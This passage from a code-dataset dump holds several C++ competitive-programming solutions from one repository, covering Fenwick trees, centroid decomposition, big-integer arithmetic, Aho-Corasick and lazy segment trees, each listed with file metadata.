v;\r\n\t\tp += p & -p;\r\n\t}\r\n}\r\n\r\ninline int query(int p) {\r\n\tint res = 0;\r\n\twhile (p > 0) {\r\n\t\tres += f[p];\r\n\t\tp -= p & -p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\ninline int query(int left, int right) {\r\n\treturn query(right) - query(left - 1);\r\n}\r\n\r\nint t[LN][N];\r\n\r\nint answer[N];\r\n\r\nvoid read_tree() {\r\n\tcin >> n;\r\n\tfor (int u = 0; u < n; u++) {\r\n\t\tG[u].clear();\r\n\t}\r\n\tfor (int i = 0; i < n - 1; i++) {\r\n\t\tint u, v;\r\n\t\tcin >> u >> v;\r\n\t\tu--;\r\n\t\tv--;\r\n\t\tG[u].push_back(v);\r\n\t\tG[v].push_back(u);\r\n\t}\r\n}\r\n\r\nvoid generate_random_tree(int max_n) {\r\n\tn = 1 + rand() % max_n;\r\n\tcout << \"new case:\\n\";\r\n\tcout << n << \"\\n\";\r\n\tfor (int u = 0; u < n; u++) {\r\n\t\tG[u].clear();\r\n\t}\r\n\tfor (int u = 1; u < n; u++) {\r\n\t\tint v = rand() % u;\r\n\t\tcout << v + 1 << \" \" << u + 1 << \"\\n\";\r\n\t\tG[u].push_back(v);\r\n\t\tG[v].push_back(u);\r\n\t}\r\n}\r\n\r\nvoid read_queries() {\r\n\tcin >> q;\r\n\tfor (int i = 0; i < q; i++) {\r\n\t\tcin >> qu[i] >> qk[i];\r\n\t\tqu[i]--;\r\n\t}\r\n}\r\n\r\nvoid generate_random_queries(int max_q) {\r\n\tq = 1 + rand() % max_q;\r\n\tcout << q << \"\\n\";\r\n\tfor (int i = 0; i < q; i++) {\r\n\t\tqu[i] = rand() % n;\r\n\t\tqk[i] = rand() % n;\r\n\t\tcout << qu[i] + 1 << \" \" << qk[i] << \"\\n\";\r\n\t}\r\n}\r\n\r\nint answer_slow[Q];\r\nint dist_slow[N];\r\n\r\nint solve_slow() {\r\n\tfor (int i = 0; i < q; i++) {\r\n\t\tint u = qu[i];\r\n\t\tint k = qk[i];\r\n\t\tbfs_head = 0;\r\n\t\tbfs_tail = 0;\r\n\t\tbfs_queue[bfs_tail++] = u;\r\n\t\tbfs_parent[u] = -1;\r\n\t\tdist_slow[u] = 0;\r\n\t\twhile (bfs_head < bfs_tail) {\r\n\t\t\tint x = bfs_queue[bfs_head++];\r\n\t\t\tif (dist_slow[x] == k) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tfor (auto y : G[x]) {\r\n\t\t\t\tif (y != bfs_parent[x]) {\r\n\t\t\t\t\tdist_slow[y] = dist_slow[x] + 1;\r\n\t\t\t\t\tbfs_parent[y] = x;\r\n\t\t\t\t\tbfs_queue[bfs_tail++] = y;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tanswer_slow[i] = bfs_head;\r\n\t}\r\n}\r\n\r\nint answer_fast[N];\r\n\r\nint solve_fast() {\r\n\tcentroid_decomposition();\r\n\tint max_depth = 0;\r\n\tfor (int u = 0; u < n; u++) {\r\n\t\tmax_depth = max(max_depth, depth[u]);\r\n\t}\r\n\tfor (int d = 0; d <= max_depth; d++) {\r\n\t\tE[d].clear();\r\n\t}\r\n\tfor (int d = 0; d <= max_depth; d++) {\r\n\t\tfor (int u = 0; u < n; u++) {\r\n\t\t\tif (depth[u] >= d) {\r\n\t\t\t\tE[d].push_back(event(u, dist[d][u], 0, -1, -1));\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < q; i++) {\r\n\t\tint u = qu[i];\r\n\t\tint k = qk[i];\r\n\t\tE[depth[u]].push_back(event(i, k, 1, time_in[u] + 1, time_out[u] + 1));\r\n\t\tint v = u;\r\n\t\twhile (depth[v] > 0) {\r\n\t\t\tint w = parent[v];\r\n\t\t\tint kk = k - dist[depth[w]][u];\r\n\t\t\tif (kk >= 0) {\r\n\t\t\t\tE[depth[w]].push_back(event(i, kk, 1, time_in[w] + 1, time_in[v] + 1 - 1));\r\n\t\t\t\tif (time_out[v] < time_out[w]) {\r\n\t\t\t\t\tE[depth[w]].push_back(event(i, kk, 1, time_out[v] + 1 + 1, time_out[w] + 1));\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tv = w;\r\n\t\t\t\r\n\t\t}\r\n\t}\r\n\tfor (int d = 0; d <= max_depth; d++) {\r\n\t\treset();\r\n\t\tsort(E[d].begin(), E[d].end());\r\n\t\tfor (auto &e : E[d]) {\r\n\t\t\tif (e.type == 0) {\r\n\t\t\t\tupdate(time_in[e.id] + 1, 1);\r\n\t\t\t} else {\r\n\t\t\t\tanswer_fast[e.id] += query(e.left, e.right);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid test() {\r\n\tsrand(time(NULL));\r\n\tbool all = true;\r\n\tfor (int it = 0; it < 1; it++) {\r\n\t\tread_tree();\r\n\t\tread_queries();\r\n\t\t// generate_random_tree(15);\r\n\t\t// generate_random_queries(15);\r\n\t\tsolve_slow();\r\n\t\tsolve_fast();\r\n\t\t\r\n\t\tbool ok = true;\r\n\t\tcout << \"answer:\\n\";\r\n\t\tfor (int i = 0; i < q; i++) {\r\n\t\t\tcout << answer_slow[i] << \" \" << answer_fast[i];\r\n\t\t\tif (answer_slow[i] != answer_fast[i]) {\r\n\t\t\t\tok = false;\r\n\t\t\t\tcout << \" !!!!!!!!!!!!!!!!!!!!!!!!!!\";\r\n\t\t\t}\r\n\t\t\tcout << \"\\n\";\r\n\t\t}\r\n\t\tif (ok) {\r\n\t\t\tcout << \"OK\\n\";\r\n\t\t} else {\r\n\t\t\tcout << \"WRONG!!!!!\\n\";\r\n\t\t\t// break;\r\n\t\t}\r\n\t\t\r\n\t}\r\n\tif (all) {\r\n\t\tcout << \"OK\\n\";\r\n\t}\r\n}\r\n\r\n\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t\r\n\tread_tree();\r\n\tread_queries();\r\n\tsolve_fast();\r\n\tfor (int i = 0; i < q; i++) {\r\n\t\tcout << answer_fast[i] << \"\\n\";\r\n\t}\r\n}\r\n\r\n\r\n" }, { "alpha_fraction": 0.38817375898361206, "alphanum_fraction": 0.41110217571258545, "avg_line_length": 15.507041931152344, "blob_id": "16791e4cf214951bc25b27bb44930026eb8f9d74", "content_id": "2acad8680d23079d18d512b69777ee0304fe3559", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2486, "license_type": "no_license", "max_line_length": 49, "num_lines": 142, "path": "/COJ/eliogovea-cojAC/eliogovea-p2825-Accepted-s1034991.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef vector <int> bint;\r\nconst int BASE = 10;\r\nconst bint ZERO(1, 0);\r\nconst bint ONE(1, 1);\r\n\r\nbint add(const bint &a, const bint &b) {\r\n\tint sz = max(a.size(), b.size());\r\n\tbint res(sz);\r\n\tint carry = 0;\r\n\tfor (int i = 0; i < sz; i++) {\r\n\t\tif (i < a.size()) {\r\n\t\t\tcarry += a[i];\r\n\t\t}\r\n\t\tif (i < b.size()) {\r\n\t\t\tcarry += b[i];\r\n\t\t}\r\n\t\tres[i] = carry % BASE;\r\n\t\tcarry /= BASE;\r\n\t}\r\n\tif (carry > 0) {\r\n\t\tres.push_back(carry);\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nbint mul(const bint &a, int k) {\r\n\tbint res(a.size());\r\n\tint carry = 0;\r\n\tfor (int i = 0; i < a.size(); i++) {\r\n\t\tcarry += a[i] * k;\r\n\t\tres[i] = carry % BASE;\r\n\t\tcarry /= BASE;\r\n\t}\r\n\twhile (carry > 0) {\r\n\t\tres.push_back(carry % BASE);\r\n\t\tcarry /= BASE;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nbint mul(const bint &a, const bint &b) {\r\n\tbint res(a.size() + b.size() - 1);\r\n\r\n\tfor (int i = 0; i < a.size(); i++) {\r\n\t\tfor (int j = 0; j < b.size(); j++) {\r\n\t\t\tres[i + j] += a[i] * b[j];\r\n\t\t}\r\n\t}\r\n\tint carry = 0;\r\n\tfor (int i = 0; i < res.size(); i++) {\r\n\t\tcarry += res[i];\r\n\t\tres[i] = carry % BASE;\r\n\t\tcarry /= BASE;\r\n\t}\r\n\twhile (carry > 0) {\r\n\t\tres.push_back(carry % BASE);\r\n\t\tcarry /= BASE;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nvoid print(const bint &x) {\r\n\tfor (int i = ((int)x.size()) - 1; i >= 0; i--) {\r\n\t\tcout << x[i];\r\n\t}\r\n}\r\n\r\nconst int N = 100;\r\nbint p2[N + 5], p5[N + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tp2[0] = ONE;\r\n\tp5[0] = ONE;\r\n\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tp2[i] = mul(p2[i - 1], 2);\r\n\t\tp5[i] = mul(p5[i - 1], 5);\r\n\t}\r\n\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tstring s;\r\n\t\tcin >> s;\r\n\t\tint x = -1;\r\n\t\tfor (int i = 0; i < s.size(); i++) {\r\n\t\t\tif (s[i] == '.') {\r\n\t\t\t\tx = i;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (x == -1) {\r\n\t\t\tbint ans = ZERO;\r\n\t\t\tfor (int i = 0; i < s.size(); i++) {\r\n\t\t\t\tans = mul(ans, 2);\r\n\t\t\t\tif (s[i] == '1') {\r\n\t\t\t\t\tans = add(ans, ONE);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tprint(ans);\r\n\t\t\tcout << \"\\n\";\r\n\t\t} else {\r\n\t\t\tbint a = ZERO;\r\n\t\t\tfor (int i = 0; i < x; i++) {\r\n\t\t\t\ta = mul(a, 2);\r\n\t\t\t\tif (s[i] == '1') {\r\n\t\t\t\t\ta = add(a, ONE);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tint k = s.size() - x - 1;\r\n\t\t\tbint b = ZERO;\r\n\t\t\tfor (int i = x + 1; i < s.size(); i++) {\r\n b = mul(b, 2);\r\n\t\t\t\tif (s[i] == '1') {\r\n\t\t\t\t\tb = add(b, ONE);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tb = mul(b, p5[k]);\r\n\r\n\t\t\tif (b.size() < k) {\r\n\t\t\t\tint c = k - b.size();\r\n\t\t\t\tfor (int i = 0; i < c; i++) {\r\n\t\t\t\t\tb.push_back(0);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tprint(a);\r\n\t\t\tcout << \".\";\r\n\t\t\tprint(b);\r\n\t\t\tcout << \"\\n\";\r\n\t\t}\r\n\t}\r\n\r\n}\r\n" }, { "alpha_fraction": 0.3857315480709076, "alphanum_fraction": 0.41233372688293457, "avg_line_length": 17.186813354492188, "blob_id": "6b8918b38b0e7e55332e500bded38eb0c5541c9b", "content_id": "c40dbf2a2dd4e1c80539858cca6c3dc96ccae3af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1654, "license_type": "no_license", "max_line_length": 77, "num_lines": 91, "path": "/Codeforces-Gym/101196 - 2016-2017 ACM-ICPC East Central North America Regional Contest (ECNA 2016)/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC East Central North America Regional Contest (ECNA 2016)\n// 101196D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\ntypedef pair<int,int> par;\ntypedef pair<ll,par> edge;\n\nconst ll oo = ( 1ll << 60ll );\nconst int MAXN = 110;\nconst int MAXM = 5000;\n\npar e[MAXM];\nedge arcs[MAXM];\n\nvector<int> g[MAXN];\nll d[MAXN];\nbool mk[MAXN];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\n int n, m; cin >> n >> m;\n n++;\n\n map<string,int> dic;\n dic[\"English\"] = 1;\n\n for( int i = 2; i <= n; i++ ){\n string x; cin >> x;\n dic[x] = i;\n }\n\n for( int i = 0; i < m; i++ ){\n string a, b; cin >> a >> b;\n int u = dic[a];\n int v = dic[b];\n\n ll c; cin >> c;\n e[i] = par( u , v );\n arcs[i] = edge( c , e[i] );\n }\n\n sort( arcs , arcs + m );\n\n fill( d , d + n + 1 , oo );\n d[1] = 0;\n\n for( int i = 1; i < n; i++ ){\n for( int j = 0; j < m; j++ ){\n int u = e[j].first;\n int v = e[j].second;\n\n d[u] = min( d[u] , d[v] + 1ll );\n d[v] = min( d[v] , d[u] + 1ll );\n }\n }\n\n ll sol = 0ll;\n int cs = 0;\n\n for( int i = 0; i < m; i++ ){\n int u = arcs[i].second.first;\n int v = arcs[i].second.second;\n ll c = arcs[i].first;\n\n if( d[u] > d[v] ){\n swap( u , v );\n }\n\n if( d[u] + 1 == d[v] && !mk[v] ){\n cs++;\n mk[v] = true;\n sol += c;\n }\n }\n\n if( cs != n-1 ){\n cout << \"Impossible\\n\";\n }\n else{\n cout << sol << '\\n';\n }\n}" }, { "alpha_fraction": 0.4200496971607208, "alphanum_fraction": 0.47887325286865234, "avg_line_length": 22.211538314819336, "blob_id": "714151e9fabf2bba62ce9a16203f6f414c5cc928", "content_id": "f495ac221fddeda4a9d48a69fa8dcccc57015382", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1207, "license_type": "no_license", "max_line_length": 163, "num_lines": 52, "path": "/Codeforces-Gym/101150 - 2016-2017 CT S03E08: Codeforces Trainings Season 3 Episode 8 - 2005-2006 ACM-ICPC, Tokyo Regional Contest + 2010 Google Code Jam Qualification Round (CGJ 10, Q)/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E08: Codeforces Trainings Season 3 Episode 8 - 2005-2006 ACM-ICPC, Tokyo Regional Contest + 2010 Google Code Jam Qualification Round (CGJ 10, Q)\n// 101150F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(15);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tconst int MaxDiff = 10000;\n\tconst double INF = 1e13;\n\tint n;\n\twhile (cin >> n && n) {\n\t\tvector <int> a(n + 1);\n\t\tfor (int i = 1; i <= n; i++) {\n\t\t\tcin >> a[i];\n\t\t}\n\t\tdouble b;\n\t\tcin >> b;\n\t\tint r;\n\t\tdouble v, e, f;\n\t\tcin >> r >> v >> e >> f;\n\t\tvector <double> te(MaxDiff + 5, 0.0);\n\t\tvector <double> tf(MaxDiff + 5, 0.0);\n\t\tfor (int i = 1; i <= MaxDiff; i++) {\n\t\t\tte[i] = te[i - 1] + 1.0 / (v - e * ((double)(i - 1.0)));\n\t\t\ttf[i] = tf[i - 1] + 1.0 / (v - f * ((double)(r - (i - 1.0))));\n\t\t}\n\t\tvector <double> dp(n + 1, INF);\n\t\tdp[0] = 0.0;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tdouble t = dp[i];\n\t\t\tif (i != 0) {\n\t\t\t\tt += b;\n\t\t\t}\n\t\t\tfor (int j = i + 1; j <= n; j++) {\n\t\t\t\tint d = a[j] - a[i];\n\t\t\t\tdouble tt = t;\n\t\t\t\tif (d <= r) {\n\t\t\t\t\ttt += tf[d];\n\t\t\t\t} else {\n\t\t\t\t\ttt += tf[r] + te[d - r];\n\t\t\t\t}\n\t\t\t\tdp[j] = min(dp[j], tt);\n\t\t\t}\n\t\t}\n\t\tcout << fixed << dp[n] << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.29070040583610535, "alphanum_fraction": 0.3134223520755768, "avg_line_length": 21.234375, "blob_id": "449c925efefdb331f8d9c9800b5eb5a4ac1774d7", "content_id": "dd3dd2310a6fc8cbf236e2e163342526e9f1dbf7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4269, "license_type": "no_license", "max_line_length": 85, "num_lines": 192, "path": "/Codeforces-Gym/101174 - 2016-2017 ACM-ICPC Southwestern European Regional Programming Contest (SWERC 2016)/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC Southwestern European Regional Programming Contest (SWERC 2016)\n// 101174E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n, a, b;\nstring bl[55];\n\nconst int SIZE = 55 * 25;\nconst int ALPH = 26;\n\nint next[SIZE][ALPH];\nint fail[SIZE];\nbool end[SIZE];\n\nint size;\n\nint getNew() {\n for (int i = 0; i < ALPH; i++) {\n next[size][i] = -1;\n }\n fail[size] = -1;\n end[size] = false;\n return size++;\n}\n\nvoid init() {\n size = 0;\n getNew();\n}\n\nvoid add(string &s) {\n int now = 0;\n for (int i = 0; i < s.size(); i++) {\n char c = s[i] - 'a';\n if (next[now][c] == -1) {\n next[now][c] = getNew();\n }\n now = next[now][c];\n }\n end[now] = true;\n}\n\nvoid build() {\n queue <int> Q;\n for (int i = 0; i < ALPH; i++) {\n if (next[0][i] == -1) {\n next[0][i] = 0;\n } else {\n int x = next[0][i];\n fail[x] = 0;\n Q.push(x);\n }\n }\n while (!Q.empty()) {\n int now = Q.front();\n Q.pop();\n end[now] |= end[fail[now]];\n for (int i = 0; i < ALPH; i++) {\n if (next[now][i] == -1) {\n next[now][i] = next[fail[now]][i];\n } else {\n fail[next[now][i]] = next[fail[now]][i];\n Q.push(next[now][i]);\n }\n }\n }\n}\n\ninline int val(char c) {\n if ('0' <= c && c <= '9') {\n return 0;\n }\n if ('a' <= c && c <= 'z') {\n return 1;\n }\n return 2;\n}\n\nconst int MOD = 1000003;\n\ninline void add(int &a, int b) {\n a += b;\n if (a >= MOD) {\n a -= MOD;\n }\n}\n\ninline int mul(int a, int b) {\n return (long long)a * b % MOD;\n}\n\nint dp[55][10][SIZE];\n\ninline char get(char c) {\n if ('a' <= c && c <= 'z') {\n return c;\n }\n if ('A' <= c && c <= 'Z') {\n return c - 'A' + 'a';\n }\n if (c == '0') {\n return 'o';\n }\n if (c == '1') {\n return 'i';\n }\n if (c == '3') {\n return 'e';\n }\n if (c == '5') {\n return 's';\n }\n if (c == '7') {\n return 't';\n }\n return 0;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> a >> b >> n;\n for (int i = 0; i < n; i++) {\n cin >> bl[i];\n }\n\n init();\n for (int i = 0; i < n; i++) {\n add(bl[i]);\n }\n //bl[n] = \"leet\";\n //add(bl[n]);\n\n build();\n\n dp[0][0][0] = 1;\n for (int l = 0; l < b; l++) {\n for (int m = 0; m < 8; m++) {\n for (int s = 0; s < size; s++) {\n if (end[s] || dp[l][m][s] == 0) {\n continue;\n }\n for (char c = '0'; c <= '9'; c++) {\n char cc = get(c);\n if (!cc) {\n add(dp[l + 1][m | (1 << val(c))][0], dp[l][m][s]);\n } else {\n int ns = next[s][cc - 'a'];\n if (!end[ns]) {\n add(dp[l + 1][m | (1 << val(c))][ns], dp[l][m][s]);\n }\n }\n }\n for (char c = 'a'; c <= 'z'; c++) {\n char cc = get(c);\n if (!cc) {\n add(dp[l + 1][m | (1 << val(c))][0], dp[l][m][s]);\n } else {\n int ns = next[s][cc - 'a'];\n if (!end[ns]) {\n add(dp[l + 1][m | (1 << val(c))][ns], dp[l][m][s]);\n }\n }\n }\n for (char c = 'A'; c <= 'Z'; c++) {\n char cc = get(c);\n if (!cc) {\n add(dp[l + 1][m | (1 << val(c))][0], dp[l][m][s]);\n } else {\n int ns = next[s][cc - 'a'];\n if (!end[ns]) {\n add(dp[l + 1][m | (1 << val(c))][ns], dp[l][m][s]);\n }\n }\n }\n }\n }\n }\n int answer = 0;\n for (int l = a; l <= b; l++) {\n for (int s = 0; s < size; s++) {\n add(answer, dp[l][7][s]);\n }\n }\n cout << answer << \"\\n\";\n}\n" }, { "alpha_fraction": 0.42037734389305115, "alphanum_fraction": 0.44679245352745056, "avg_line_length": 17.629629135131836, "blob_id": "079720084cc8150548339fcff149364f2319b55b", "content_id": "288bd9361efb2ddf41ddd85d40a169bd2913944a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2650, "license_type": "no_license", "max_line_length": 76, "num_lines": 135, "path": "/COJ/eliogovea-cojAC/eliogovea-p3790-Accepted-s1120075.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 300005;\r\n\r\nint n, m;\r\nlong long xv[N], yv[N], lv[N];\r\nlong long xh[N], yh[N], lh[N];\r\n\r\nint bit[N];\r\n\r\ninline void clearBit(int sz) {\r\n\tfor (int i = 0; i <= sz; i++) {\r\n\t\tbit[i] = 0;\r\n\t}\r\n}\r\n\r\ninline void updateBit(int p, int v, int sz) {\r\n\twhile (p <= sz) {\r\n\t\tbit[p] += v;\r\n\t\tp += p & -p;\r\n\t}\r\n}\r\n\r\ninline int queryBit(int p, int sz) {\r\n\tint res = 0;\r\n\twhile (p > 0) {\r\n\t\tres += bit[p];\r\n\t\tp -= p & -p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nstruct event {\r\n\tlong long x;\r\n\tlong long y1;\r\n\tlong long y2;\r\n\tint id;\r\n};\r\n\r\nbool operator < (const event &a, const event &b) {\r\n\tif (a.x != b.x) {\r\n\t\treturn a.x < b.x;\r\n\t}\r\n\treturn a.id < b.id;\r\n}\r\n\r\nevent E[N];\r\nint szE;\r\nlong long Y[N];\r\nint szY;\r\n\r\ninline long long sweepLine(long long l) {\r\n\tszE = 0;\r\n\tszY = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (lv[i] >= 2LL * l) {\r\n\t\t\tE[szE].x = xv[i];\r\n\t\t\tE[szE].y1 = yv[i] + l;\r\n\t\t\tE[szE].y2 = yv[i] + lv[i] - l;\r\n\t\t\tE[szE].id = 0;\r\n\t\t\tszE++;\r\n\t\t\tY[szY++] = yv[i] + l;\r\n\t\t\tY[szY++] = yv[i] + (lv[i] - l);\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tif (lh[i] >= 2LL * l) {\r\n\t\t\tE[szE].x = xh[i] + l;\r\n\t\t\tE[szE].y1 = yh[i];\r\n\t\t\tE[szE].y2 = yh[i];\r\n\t\t\tE[szE].id = -1;\r\n\t\t\tszE++;\r\n\t\t\tE[szE].x = xh[i] + (lh[i] - l);\r\n\t\t\tE[szE].y1 = yh[i];\r\n\t\t\tE[szE].y2 = yh[i];\r\n\t\t\tE[szE].id = 1;\r\n\t\t\tszE++;\r\n\t\t\tY[szY++] = yh[i];\r\n\t\t}\r\n\t}\r\n\tsort(Y, Y + szY);\r\n\tint cy = unique(Y, Y + szY) - Y;\r\n sort(E, E + szE);\r\n\tclearBit(cy);\r\n\tlong long cnt = 0;\r\n\tfor (int i = 0; i < szE; i++) {\r\n\t\tif (E[i].id == -1) {\r\n\t\t\tint pos = lower_bound(Y, Y + cy, E[i].y1) - Y + 1;\r\n\t\t\tupdateBit(pos, 1, cy);\r\n\t\t} else if (E[i].id == 1) {\r\n\t\t\tint pos = lower_bound(Y, Y + cy, E[i].y1) - Y + 1;\r\n\t\t\tupdateBit(pos, -1, cy);\r\n\t\t} else {\r\n\t\t\tint pos1 = lower_bound(Y, Y + cy, E[i].y1) - Y + 1;\r\n\t\t\tint pos2 = lower_bound(Y, Y + cy, E[i].y2) - Y + 1;\r\n\t\t\tcnt += (long long)queryBit(pos2, cy) - (long long)queryBit(pos1 - 1, cy);\r\n\t\t}\r\n\t}\r\n\treturn cnt;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\twhile (cin >> n >> m) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> xv[i] >> yv[i] >> lv[i];\r\n\t\t}\r\n\t\tfor (int i = 0; i < m; i++) {\r\n\t\t\tcin >> xh[i] >> yh[i] >> lh[i];\r\n\t\t}\r\n\t\tlong long lo = 0;\r\n\t\tlong long hi = 1000000000 / 2;\r\n\t\tlong long ansLen = 0;\r\n\t\tlong long ansCnt = 0;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tlong long mid = (lo + hi) / 2LL;\r\n\t\t\tlong long val = sweepLine(mid);\r\n\t\t\tif (val > 0) {\r\n\t\t\t\tansLen = mid;\r\n\t\t\t\tansCnt = val;\r\n\t\t\t\tlo = mid + 1;\r\n\t\t\t} else {\r\n\t\t\t\thi = mid - 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (ansLen == 0) {\r\n\t\t\tansCnt = 0;\r\n\t\t}\r\n\t\tcout << 2LL * ansLen << \" \" << ansCnt << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3924485146999359, "alphanum_fraction": 0.41304346919059753, "avg_line_length": 19.686389923095703, "blob_id": "507fe31b9613870955823f9b4bab9eaff9903c30", "content_id": "1dc17b155459c24e7feca5b833afa983c38b0fbf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3496, "license_type": "no_license", "max_line_length": 109, "num_lines": 169, "path": "/COJ/eliogovea-cojAC/eliogovea-p4084-Accepted-s1255872.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\n\nconst int N = 100 * 1000 + 10;\n\nstruct data {\n LL sum;\n\n int left;\n int right;\n int len;\n\n bool toSet;\n LL setValue;\n\n bool toAdd;\n LL addValue;\n LL addTimes;\n\n data() {}\n\n data(int _value, int _left, int _right) {\n sum = _value;\n left = _left;\n right = _right;\n len = right - left + 1;\n\n toSet = false;\n setValue = 0;\n\n toAdd = false;\n addValue = 0;\n addTimes = 0;\n }\n\n void lazySet(LL value) {\n toSet = true;\n setValue = value;\n\n toAdd = false;\n addValue = 0;\n addTimes = 0;\n }\n\n void lazyAdd(LL value, LL times) {\n toAdd = true;\n addValue += value;\n addTimes += times;\n }\n\n void update() {\n if (toSet) {\n sum = setValue * len;\n toSet = false;\n }\n\n if (toAdd) { \n sum += addValue * len + addTimes * (len - 1) * len / 2LL;\n toAdd = false;\n addValue = 0;\n addTimes = 0;\n }\n }\n} tree[4 * N];\n\nint n, q;\nLL values[N];\n\nvoid build(int x, int l, int r) {\n tree[x] = data(0, l, r);\n if (l == r) {\n tree[x].sum = values[l];\n } else {\n int m = (l + r) >> 1;\n build(2 * x, l, m);\n build(2 * x + 1, m + 1, r);\n tree[x].sum = tree[2 * x].sum + tree[2 * x + 1].sum;\n }\n}\n\nvoid push(int x, int l, int r) {\n if (l != r) {\n if (tree[x].toSet) {\n tree[2 * x].lazySet(tree[x].setValue);\n tree[2 * x + 1].lazySet(tree[x].setValue);\n }\n if (tree[x].toAdd) {\n tree[2 * x].lazyAdd(tree[x].addValue, tree[x].addTimes);\n tree[2 * x + 1].lazyAdd(tree[x].addValue + tree[2 * x].len * tree[x].addTimes, tree[x].addTimes);\n }\n }\n tree[x].update();\n}\n\n\nvoid updateSet(int x, int l, int r, int ul, int ur, int v) {\n push(x, l, r);\n if (l > ur || r < ul) {\n return;\n }\n if (ul <= l && r <= ur) {\n tree[x].lazySet(v);\n push(x, l, r);\n } else {\n int m = (l + r) >> 1;\n updateSet(2 * x, l, m, ul, ur, v);\n updateSet(2 * x + 1, m + 1, r, ul, ur, v);\n tree[x].sum = tree[2 * x].sum + tree[2 * x + 1].sum;\n }\n}\n\nvoid updateAdd(int x, int l, int r, int ul, int ur) {\n push(x, l, r);\n if (r < ul || ur < l) {\n return;\n }\n if (ul <= l && r <= ur) {\n tree[x].lazyAdd(l - ul + 1, 1);\n push(x, l, r);\n } else {\n int m = (l + r) >> 1;\n updateAdd(2 * x, l, m, ul, ur);\n updateAdd(2 * x + 1, m + 1, r, ul, ur);\n tree[x].sum = tree[2 * x].sum + tree[2 * x + 1].sum;\n }\n}\n\nLL query(int x, int l, int r, int ql, int qr) {\n push(x, l, r);\n if (l > qr || r < ql) {\n return 0;\n }\n if (ql <= l && r <= qr) {\n return tree[x].sum;\n }\n int m = (l + r) >> 1;\n return query(2 * x, l, m, ql, qr) + query(2 * x + 1, m + 1, r, ql, qr);\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n cin >> n >> q;\n\n for (int i = 1; i <= n; i++) {\n cin >> values[i];\n }\n\n build(1, 1, n);\n\n int op, l, r, v;\n\n while (q--) {\n cin >> op >> l >> r;\n if (op == 1) {\n cin >> v;\n updateSet(1, 1, n, l, r, v);\n } else if (op == 2) {\n updateAdd(1, 1, n, l, r);\n } else {\n cout << query(1, 1, n, l, r) << \"\\n\";\n }\n }\n}\n" }, { "alpha_fraction": 0.5076923370361328, "alphanum_fraction": 0.5208791494369507, "avg_line_length": 17.225351333618164, "blob_id": "214c26be2b643c7acf9fe34749e242b22cc689f0", "content_id": "5a4febd9e61df393e181d7b343df0a621ebac7f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1365, "license_type": "no_license", "max_line_length": 66, "num_lines": 71, "path": "/COJ/eliogovea-cojAC/eliogovea-p1659-Accepted-s549580.cpp", "repo_name": 